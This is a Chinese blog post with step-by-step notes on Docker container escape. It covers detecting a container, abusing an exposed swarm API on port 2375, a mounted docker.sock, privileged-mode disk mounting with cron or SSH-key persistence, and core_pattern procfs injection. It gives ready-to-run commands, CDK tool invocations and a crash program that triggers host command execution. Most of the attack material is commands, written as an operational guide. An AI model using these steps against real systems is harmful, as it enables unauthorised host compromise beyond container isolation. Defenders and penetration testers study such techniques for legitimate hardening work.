Docker漏洞与逃逸 (上篇)

-- 基础 --

查看是否在Docker内

  • ls / -a查看根目录下是否存在 .dockerenv 文件夹
    原理: Docker容器内部 默认会在根目录 自动创建 隐藏文件.dockerenv
  • cat /proc/1/cgroup查看中是否含有docker标识
    原理: CGroup(控制组)用于隔离进程资源, 容器内第一个进程的cgroup通常会包含docker标识
  • env查看环境变量, 是否含有docker标识(只能用作辅助判断)
    原理: Docker在启动容器时, 可能会默认添加于容器相关的环境变量, 其中会包含docker标识
  • 使用工具: msf的checkcontainer模块

docker指令

  • -H指定连接地址: 若未指定-H的值, 默认为unix:///var/run/docker.sock
    unix:// 指定本地套接字, 如 unix:///var/run/docker.sock
    tcp:// 使用tcp连接, 通常是连接swam远程api, 如 tcp://xxx.xxx.xxx.xxx:2375
    ssh:// 通过ssh管道连接docker, 如 ssh://xxx.xxx.xxx.xxx:22
    fd:// 用于systemd启动的守护进程, 如fd:///lib/systemd/system/docker.service
  • docker指令控制容器:
    创建新容器 并挂载宿主机目录(需联网下载镜像): 创建后会直接进入交互式页面
    docker -H <target> run -it -v /:/mnt alpine /bin/sh
    注: 可加上--privileged来创建特权容器, 可将alpine镜像换为其它镜像(还可用临时镜像源)
    查看容器: docker -H <target> ps (加上-a可以看见未运行的容器)
    开启容器: docker -H <target> start <容器id>
    进入容器的交互界面: docker -H <target> -it <容器id> /bin/bash
    使容器执行某指令: docker -H <target> <容器id> <指令>

cdk工具

  • https://github.com/cdk-team/CDK/

-- 配置导致的逃逸 --

SWAM API未授权逃逸

  • 前提: 开启了docker swarm的容器管理api(默认绑定2375端口), 并可以访问到
  • 原理:
    docker swarm是用于集群管理和编排的工具, 为此 其提供一个api用于管理容器
    若因配置不当导致攻击者可以在公网上(或通过ssrf)访问与使用, 则可以获取敏感信息/操控容器
    从而可以挂载宿主机文件, 或者通过特权模式启动容器
  • 信息泄露:
    运行的容器:curl http://taret:2375/containers/jsondocker -H target:2375 ps
    容器信息:curl http://taret:2375/infodocker -H target:2375 info
    版本信息:curl http://taret:2375/versiondocker -H target:2375 version
  • 利用(手动): 将docker指令的-H指定为target:2375执行控制容器操作
  • 利用(cdk): ./cdk run docker-api-pwn http://target:2375 "<命令>" (不建议, 不如手动方便)

Docker Socket逃逸

  • 前提: 将宿主机的/var/run/docker.sock挂载到容器内部
  • 原理: docker.sock文件是 Docker守护进程(dockerd)与客户端通信的接口, docker命令默认就是通过该文件(-H选项的默认值为unix:///var/run/docker.sock)操控本机的dockerd服务
  • 利用(手动): 将docker指令的-H指定为unix://文件docker.sock的路径执行控制容器操作
  • 利用(cdk):./cdk run docker-sock-pwn <sock_path> <shell_cmd> (不建议, 不如手动方便)
  • ./cdk run docker-sock-check <sock-path>

特权模式逃逸

  • 前提: docker以特权模式运行
    查看: 通过cat /proc/self/status | grep CapEff查看是否为特权模式(值为0000003fffffffff或0000001fffffffff)
    如何开启:

    • docker run创建容器时, 可添加--privileged参数,
    • docker-compose.yml中加入privileged: true
  • 原理: 会赋予创建的容器 接近宿主机的权限, 所以可通过 挂载宿主机文件目录 来逃逸
  • 利用(手动):
    通过cat /proc/self/status | grep CapEff查看是否为特权模式(值为0000003fffffffff或0000001fffffffff则是)
    fdisk -l查看系统中所有的磁盘设备的分区信息, 显示的磁盘即为我们的宿主机
    使用mount 磁盘设备名 容器内路径, 来将宿主机挂载到容器中, 即可访问到宿主机的文件
    随后通过写入定时任务\写入ssh公钥来获取宿主机的shell
  • 利用(cdk):./cdk run mount-disk

Procfs危险挂载

  • 前提: 将宿主机的/proc/sys/kernel/core_pattern文件挂载到了容器内部
  • 原理:
    /proc/sys/kernel/core_pattern文件负责 进程崩溃时 的内存数据转储,
    当进程崩溃时, linux内核会根据该文件的配置执行操作,
    而当该文件的第一个字符是管道符|时, 文件后续内容会被当作系统命令进行执行,
    当挂载了宿主机的该文件时, 就可以在宿主机进程崩溃时, 操控宿主机进行RCE
    想造成宿主机进程崩溃, 可以直接让docker容器内的程序崩溃
  • 利用(手动):
    1. find / -name core_pattern 2>/dev/null查找是否存在挂载宿主机procfs
      (若结果有两个 可能就是存在挂载)
    2. cat /proc/mounts | awk -F ',' '{for(i=1;i<=NF;i++) print $i}' | grep workdir
      查看容器在 宿主机上的绝对路径, 一般为/var/lib/docker/overlay2/一长串数字/work
      把work改为merged 即为宿主机下 docker容器的根目录(可以通过这种方式访问容器文件)
    3. 创建恶意RCE脚本, 给予执行权限chmod +x 脚本路径
      并将脚本路径拼接到/var/lib/docker/overlay2/一长串数字/merged
      然后将新路径写入core_pattern文件 (新路径可使docker程序崩溃后宿主机可访问到脚本)
      echo -e "|/var/lib/docker/overlay2/一长串数字/merged/脚本路径 \rcore " > 文件core_pattern的路径
    4. 创建使docker内程序崩溃的脚本, 并执行
  • docker内程序崩溃脚本
    gcc编译执行: apt-get update -y && apt-get install vim gcc -y
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
  • 利用(cdk):./cdk run mount-procfs <挂载的proc文件夹位置> "<命令>"
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇